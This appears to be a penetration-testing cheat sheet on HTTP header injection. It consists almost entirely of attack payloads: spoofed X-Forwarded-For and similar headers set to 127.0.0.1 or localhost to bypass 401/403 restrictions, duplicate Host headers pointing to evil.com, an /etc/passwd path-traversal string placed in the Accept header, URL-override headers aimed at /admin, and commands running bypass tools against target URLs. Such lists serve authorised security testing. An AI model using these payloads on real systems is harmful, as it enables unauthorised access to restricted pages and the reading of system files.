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Header injections
Headers
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# Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console
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Client-IP:
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Connection:
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Contact:
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Forwarded:
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From:
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Host:
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Origin:
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Referer:
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True-Client-IP:
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X-Client-IP:
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X-Custom-IP-Authorization:
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X-Forward-For:
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X-Forwarded-For:
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X-Forwarded-Host:
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X-Forwarded-Server:
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X-Host:
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X-Original-URL:
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X-Originating-IP:
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X-Real-IP:
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X-Remote-Addr:
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X-Remote-IP:
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X-Rewrite-URL:
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X-Wap-Profile:
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​
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# Try to repeat same Host header 2 times
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Host: legit.com
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Stuff: stuff
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Host: evil.com
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​
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# Bypass type limit
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Accept: application/json, text/javascript, */*; q=0.01
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Accept: ../../../../../../../../../etc/passwd{{'
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​
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# Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header
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​
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# 401/403 bypasses
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# Whitelisted IP 127.0.0.1 or localhost
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Client-IP: 127.0.0.1
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Forwarded-For-Ip: 127.0.0.1
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Forwarded-For: 127.0.0.1
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Forwarded-For: localhost
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Forwarded: 127.0.0.1
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Forwarded: localhost
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True-Client-IP: 127.0.0.1
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X-Client-IP: 127.0.0.1
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X-Custom-IP-Authorization: 127.0.0.1
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X-Forward-For: 127.0.0.1
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X-Forward: 127.0.0.1
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X-Forward: localhost
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X-Forwarded-By: 127.0.0.1
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X-Forwarded-By: localhost
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X-Forwarded-For-Original: 127.0.0.1
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X-Forwarded-For-Original: localhost
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X-Forwarded-For: 127.0.0.1
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X-Forwarded-For: localhost
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X-Forwarded-Server: 127.0.0.1
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X-Forwarded-Server: localhost
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X-Forwarded: 127.0.0.1
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X-Forwarded: localhost
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X-Forwared-Host: 127.0.0.1
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X-Forwared-Host: localhost
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X-Host: 127.0.0.1
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X-Host: localhost
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X-HTTP-Host-Override: 127.0.0.1
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X-Originating-IP: 127.0.0.1
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X-Real-IP: 127.0.0.1
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X-Remote-Addr: 127.0.0.1
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X-Remote-Addr: localhost
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X-Remote-IP: 127.0.0.1
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​
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# Fake Origin - make GET request to accesible endpoint with:
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X-Original-URL: /admin
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X-Override-URL: /admin
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X-Rewrite-URL: /admin
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Referer: /admin
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# Also try with absoulte url https:/domain.com/admin
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​
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# Method Override
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X-HTTP-Method-Override: PUT
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​
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# Provide full path GET
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GET https://vulnerable-website.com/ HTTP/1.1
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Host: evil-website.com
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​
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# Add line wrapping
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GET /index.php HTTP/1.1
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Host: vulnerable-website.com
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Host: evil-website.com
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​
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# Wordlists
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https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
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https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers
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Tools
1
# https://github.com/lobuhi/byp4xx
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./byp4xx.sh https://url/path
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# https://github.com/OdinF13/Bug-Bounty-Scripts
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​
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# https://github.com/mlcsec/headi
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headi -url http://target.com/admin
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Last modified 1yr ago